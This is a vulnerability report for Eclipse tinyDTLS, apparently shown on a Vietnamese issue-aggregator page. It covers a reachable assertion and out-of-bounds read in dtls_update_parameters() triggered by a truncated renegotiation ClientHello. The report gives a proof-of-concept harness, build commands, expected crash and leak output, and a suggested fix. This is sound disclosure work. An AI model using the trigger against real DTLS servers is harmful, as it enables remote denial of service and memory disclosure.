tinydtls `dtls_update_parameters` Assert-Only Length Guard
Maintainer thường phản hồi trong vòng 2 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- Nửa ngày
- Mức phù hợp với người mới
- 48/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Ít trao đổi
- Công nghệ
- c
- Lĩnh vực
- networking, security
Hướng nghiên cứu
In dtls.c, read dtls_update_parameters() and the handle_handshake_msg() caller path described in the report; the PoC is in vuln_001_short_client_hello_assert/. Build and run it in debug and Release configurations to reproduce the reported behavior. Done means short renegotiation ClientHello messages return an error safely in both configurations instead of asserting or reading out of bounds.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
1. Report Metadata
| Field | Value |
|---|---|
| Project | Eclipse tinyDTLS |
| Title | Reachable assertion / out-of-bounds read in dtls_update_parameters via short renegotiation ClientHello |
| Affected component | dtls.c |
| Affected function | dtls_update_parameters() |
| Affected role | DTLS server (renegotiation path) |
| Tested version | v0.9-rc1-214-g6f4f604 (commit 6f4f604, main) |
| Suggested CWE | CWE-617 (Reachable Assertion), CWE-125 (Out-of-bounds Read) |
| Impact class | Remote Denial of Service (crash); remote memory disclosure (OOB read) |
vuln_001_short_client_hello_assert.zip
2. Executive Summary
Eclipse tinyDTLS is a small DTLS 1.2 implementation targeting constrained
devices. The server-side handshake parameter update function
dtls_update_parameters() guards a critical length precondition with a C
assert() macro instead of a runtime check that returns an error.
When the library is built with assertions enabled (the default debug
configuration), a remote, authenticated peer can send a truncated
ClientHello during renegotiation and trigger the assertion, causing the
server process to abort (SIGABRT). This is a remote denial-of-service
vulnerability: a single UDP datagram crashes the server.
When the library is built with NDEBUG defined (a common release
configuration), the assertion is compiled out and the same input causes
the function to read 32 bytes from memory beyond the end of the
ClientHello buffer. The over-read data is copied into the handshake
state's client_random field and used in subsequent PRF computations.
This is a remote out-of-bounds read (CWE-125) that can leak sensitive
heap or stack memory into derived key material.
3. Vulnerability Overview
The vulnerable code is in dtls_update_parameters():
@tinydtls/dtls.c:1366-1378
dtls_handshake_parameters_t *config = peer->handshake_params;
assert(config);
assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);
/* skip the handshake header and client version information */
data += DTLS_HS_LENGTH + sizeof(uint16);
data_length -= DTLS_HS_LENGTH + sizeof(uint16);
/* store client random in config */
memcpy(config->tmp.random.client, data, DTLS_RANDOM_LENGTH);
data += DTLS_RANDOM_LENGTH;
data_length -= DTLS_RANDOM_LENGTH;
The flawed check is line 1369:
assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);
assert() is a debug-only macro; with NDEBUG defined it expands to
((void)0) and the check vanishes. The subsequent memcpy on line
1376 copies DTLS_RANDOM_LENGTH (32) bytes from data + 14 without
verifying that data_length is large enough to hold them. When
data_length is smaller than 46, the memcpy reads past the end of
the caller's buffer.
The PoC exercises this by calling handle_verified_client_hello()
(which calls dtls_update_parameters()) with a 13-byte ClientHello
handshake message — well below the 46-byte threshold.
4. Technical Root Cause
Call chain
The renegotiation path reaches dtls_update_parameters() as follows:
dtls_handle_message()—@tinydtls/dtls.c:4627
iterates over DTLS records in the input datagram.- For an established peer, the record is decrypted and the handshake
fragment is dispatched tohandle_handshake(). handle_handshake()—@tinydtls/dtls.c:4310
validates the handshake header and callshandle_handshake_msg().handle_handshake_msg()—@tinydtls/dtls.c:4345-4355
checksfragment_length + DTLS_HS_LENGTH == data_lengthbut
imposes no minimum length:
@tinydtls/dtls.c:4345-4355
packet_length = dtls_uint24_to_int(hs_header->length);
fragment_length = dtls_uint24_to_int(hs_header->fragment_length);
fragment_offset = dtls_uint24_to_int(hs_header->fragment_offset);
if (packet_length != fragment_length || fragment_offset != 0) {
dtls_warn("No fragment support (yet)\n");
return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
}
if (fragment_length + DTLS_HS_LENGTH != data_length) {
dtls_warn("Fragment size does not match packet size\n");
return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
}
- For a
DTLS_HT_CLIENT_HELLOreceived while the peer is in
DTLS_STATE_CONNECTED(renegotiation), the message is dispatched to
handle_verified_client_hello():
@tinydtls/dtls.c:4134-4157
case DTLS_HT_CLIENT_HELLO:
if (state != DTLS_STATE_CONNECTED) {
return dtls_alert_fatal_create(DTLS_ALERT_UNEXPECTED_MESSAGE);
}
...
if (!peer->handshake_params) {
dtls_handshake_header_t *hs_header = DTLS_HANDSHAKE_HEADER(data);
peer->handshake_params = dtls_handshake_new();
...
}
err = handle_verified_client_hello(ctx, peer, data, data_length);
handle_verified_client_hello()—@tinydtls/dtls.c:3871
immediately callsdtls_update_parameters()with no additional
length check:
@tinydtls/dtls.c:3859-3871
static int
handle_verified_client_hello(dtls_context_t *ctx, dtls_peer_t *peer,
uint8 *data, size_t data_length) {
clear_hs_hash(peer);
...
int err = dtls_update_parameters(ctx, peer, data, data_length);
5. Proof of Concept
The PoC (poc.c) is a single translation unit that #includes
dtls.c directly to reach the static function
handle_verified_client_hello(). It runs two tests:
Test 1 sends a 27-byte epoch-0 ClientHello (body = 2 bytes, well
below the 46-byte threshold) through dtls_handle_message(). The
cookie code rejects it gracefully — no crash. This demonstrates that
the epoch-0 path is not exploitable.
Test 2 simulates a renegotiation: it creates a peer in
DTLS_STATE_CONNECTED, then calls handle_verified_client_hello()
with a 13-byte ClientHello. The 13-byte message is placed between
two canary regions on the stack so that the OOB read is observable.
The malicious input is constructed as:
uint8 canary_pre[32]; /* filled with 0xAA */
uint8 msg[13];
uint8 canary_post[64]; /* filled with 0xBB */
uint8 *p = msg;
p = put_handshake_header(p, DTLS_HT_CLIENT_HELLO, (uint24){1}, 5,
(uint24){0}, (uint24){1});
*p++ = 0x00; /* 1-byte body */
/* msg is now 13 bytes: 12-byte HS header + 1 byte body */
/* fragment_length=1, so fragment_length + DTLS_HS_LENGTH = 13 = data_length */
int rc = handle_verified_client_hello(ctx, peer, msg, 13);
After the call, the PoC inspects peer->handshake_params->tmp.random.client.
If the 32-byte buffer contains canary bytes (0xAA), the OOB read is
confirmed.
6. Build & Run
Working directory:
tinydtls/vuln_001_short_client_hello_assert/
Debug build (assertions ON — demonstrates crash)
cmake -B build -S .
cmake --build build -j$(nproc)
./build/vuln_poc_short_client_hello_assert
Expected output (debug):
tinydtls PoC — Finding 1: dtls_update_parameters assert-only guard
=============================================================
DTLS_HS_LENGTH = 12
DTLS_CH_LENGTH = 34
DTLS_RANDOM_LENGTH = 32
HS+CH = 46
Build mode = debug (assertions ON)
=== Test 1: epoch-0 short ClientHello (expect: NO crash) ===
sending 27-byte record (body=2, below HS+CH=46)
Jun 23 06:42:13 WARN No fragment support (yet)
dtls_handle_message returned 0 (no crash -> epoch-0 path is safe)
=== Test 2: renegotiation short ClientHello (expect: CRASH) ===
calling handle_verified_client_hello with 13-byte ClientHello
(DTLS_HS_LENGTH+DTLS_CH_LENGTH = 46, assert requires > 46)
data_length=13 <= 46 => assert FAILS (debug) or OOB read (NDEBUG)
[debug] assertions enabled - expecting SIGABRT from assert()
vuln_poc_short_client_hello_assert: tinydtls/dtls.c:1369: dtls_update_parameters: Assertion `data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH' failed.
已中止 (核心已转储)
Exit code: 134 (SIGABRT).
Release build (NDEBUG — demonstrates OOB read)
cmake -B build_rel -S . -DCMAKE_BUILD_TYPE=Release
cmake --build build_rel -j$(nproc)
./build_rel/vuln_poc_short_client_hello_assert
Expected output (NDEBUG):
tinydtls PoC — Finding 1: dtls_update_parameters assert-only guard
=============================================================
DTLS_HS_LENGTH = 12
DTLS_CH_LENGTH = 34
DTLS_RANDOM_LENGTH = 32
HS+CH = 46
Build mode = NDEBUG (assertions OFF)
=== Test 1: epoch-0 short ClientHello (expect: NO crash) ===
sending 27-byte record (body=2, below HS+CH=46)
dtls_handle_message returned 0 (no crash -> epoch-0 path is safe)
=== Test 2: renegotiation short ClientHello (expect: CRASH) ===
calling handle_verified_client_hello with 13-byte ClientHello
(DTLS_HS_LENGTH+DTLS_CH_LENGTH = 46, assert requires > 46)
data_length=13 <= 46 => assert FAILS (debug) or OOB read (NDEBUG)
[NDEBUG] assertions disabled - OOB read will copy canary bytes
handle_verified_client_hello returned -552
client random buffer changed by OOB read: YES (OOB read confirmed)
client random now contains bytes copied from beyond msg[]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00
canary_pre corrupted: no
canary_post corrupted: no
*** OOB READ CONFIRMED (CWE-125) ***
Done.
Exit code: 0 (the OOB read does not crash; it silently copies
out-of-bounds memory into the handshake state).
The 0xAA bytes in the client random prove that 62 bytes were read
from the canary_pre stack region (which lies adjacent to msg on
the stack) and 2 trailing zero bytes came from beyond the canary.
7. Impact
Attacker position: An authenticated remote peer who has completed
a DTLS handshake with the server. No man-in-the-middle position is
required — the attacker is a legitimate client.
Debug builds (assertions enabled):
- Remote DoS via crash. A single 13-byte UDP datagram containing
a truncated ClientHello triggersassert()→SIGABRT. The server
process terminates immediately. On constrained devices running
tinyDTLS, this typically takes down the entire application. - CWE-617 (Reachable Assertion).
Release builds (NDEBUG):
- Remote out-of-bounds read. 32 bytes are read from memory beyond
the ClientHello buffer and stored inconfig->tmp.random.client.
This field feeds the DTLS PRF, so the over-read data influences
derived key material. Depending on heap/stack layout, the leaked
bytes may contain sensitive data from other connections, private
keys, or stack frames. - CWE-125 (Out-of-bounds Read).
- The over-read also corrupts the handshake:
data_lengthunderflows
(unsigned) on line 1373/1378, causing subsequentSKIP_VAR_FIELD
calls to read further out of bounds or return a fatal alert. This
can cascade into additional memory-safety violations.
Severity: High. Remote, unauthenticated in the sense that any
peer who can complete a handshake (the normal case for a DTLS server)
can trigger the bug. No special privileges required.
8. Remediation
Replace the assert() on line 1369 with a runtime check that returns
a fatal alert:
@tinydtls/dtls.c:1368-1369
assert(config);
assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);
Suggested fix:
if (!config) {
dtls_warn("handshake parameters not initialized\n");
return dtls_alert_fatal_create(DTLS_ALERT_INTERNAL_ERROR);
}
if (data_length <= DTLS_HS_LENGTH + DTLS_CH_LENGTH) {
dtls_warn("ClientHello too short: %zu bytes (need > %zu)\n",
data_length, (size_t)(DTLS_HS_LENGTH + DTLS_CH_LENGTH));
return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
}
This converts both the config assertion and the length assertion
into proper error returns, so the function fails safely in both debug
and release builds.
Additional hardening: The caller handle_handshake_msg()
(@tinydtls/dtls.c:4352) should also
enforce a minimum data_length for DTLS_HT_CLIENT_HELLO before
dispatching to handle_verified_client_hello(), providing
defense-in-depth.
Temporary mitigation: Building tinyDTLS with assertions enabled
(-UNDEBUG) converts the OOB read into a crash, preventing memory
disclosure but leaving the DoS vector open. This is not a complete
fix.
9. References
- CWE-617: Reachable Assertion — https://cwe.mitre.org/data/definitions/617.html
- CWE-125: Out-of-bounds Read — https://cwe.mitre.org/data/definitions/125.html
- RFC 6347 (Datagram Transport Layer Security Version 1.2),
section 4.2.8 (Rehandshake) and section 4.2.1 (Denial-of-Service
Countermeasures). - tinyDTLS source:
https://github.com/eclipse/tinydtls - Affected commit:
6f4f604(v0.9-rc1-214-g6f4f604)
- Ngôn ngữ chính
- C
- Star
- 122
- Fork
- 67
- Merge trung bình
- 6 ngày 8 giờ
- Pull request đã merge (30 ngày)
- 5
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Không có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của eclipse-tinydtls/tinydtls
-
ECDHE_ECDSA ClientKeyExchange rejected as too short when DTLS_PSK_MAX_CLIENT_IDENTITY_LEN > 64Có thể đã có người làm Có pull request liên kết đang mở hoặc đã được merge. Đang mởbug good first issue please retest
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
eclipse-tinydtls/tinydtls#298 · 2 bình luận ·
Maintainer thường phản hồi trong vòng 2 ngày
-
`dtls_get_cookie`: dereference before the length check (currently masked by `dtls_create_cookie`)Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
eclipse-tinydtls/tinydtls#279 · 2 bình luận · 1 reaction ·
Maintainer thường phản hồi trong vòng 2 ngày
-
MSVC build is broken (undeclared `DTLS_DEBUG_BUF_SIZE`)Có thể đã có người làm @mrdeep1 đã nhận 10 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 25/100
eclipse-tinydtls/tinydtls#283 · 5 bình luận ·
Maintainer thường phản hồi trong vòng 2 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 57/100
eclipse-tinydtls/tinydtls#278 · 3 bình luận · 1 reaction ·
Maintainer thường phản hồi trong vòng 2 ngày
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 45/100
eclipse-tinydtls/tinydtls#274 · 2 bình luận ·
Maintainer thường phản hồi trong vòng 2 ngày
Tất cả issue của eclipse-tinydtls/tinydtls
Issue tương tự
-
Độ khó 2/5 Nửa ngày Mức phù hợp với người mới 62/100
Maintainer thường phản hồi trong vòng 1 ngày
-
bug good first issue
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
-
rpc : a tensor with oversized ne aborts ggml-rpc-server in deserialize_tensorCó thể đã có người làm @void-mckenzie đã nhận hôm nay. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 66/100
Maintainer thường phản hồi trong vòng 1 ngày
-
enhancement
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 85/100
FujiNetWIFI/fujinet-lib#122 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày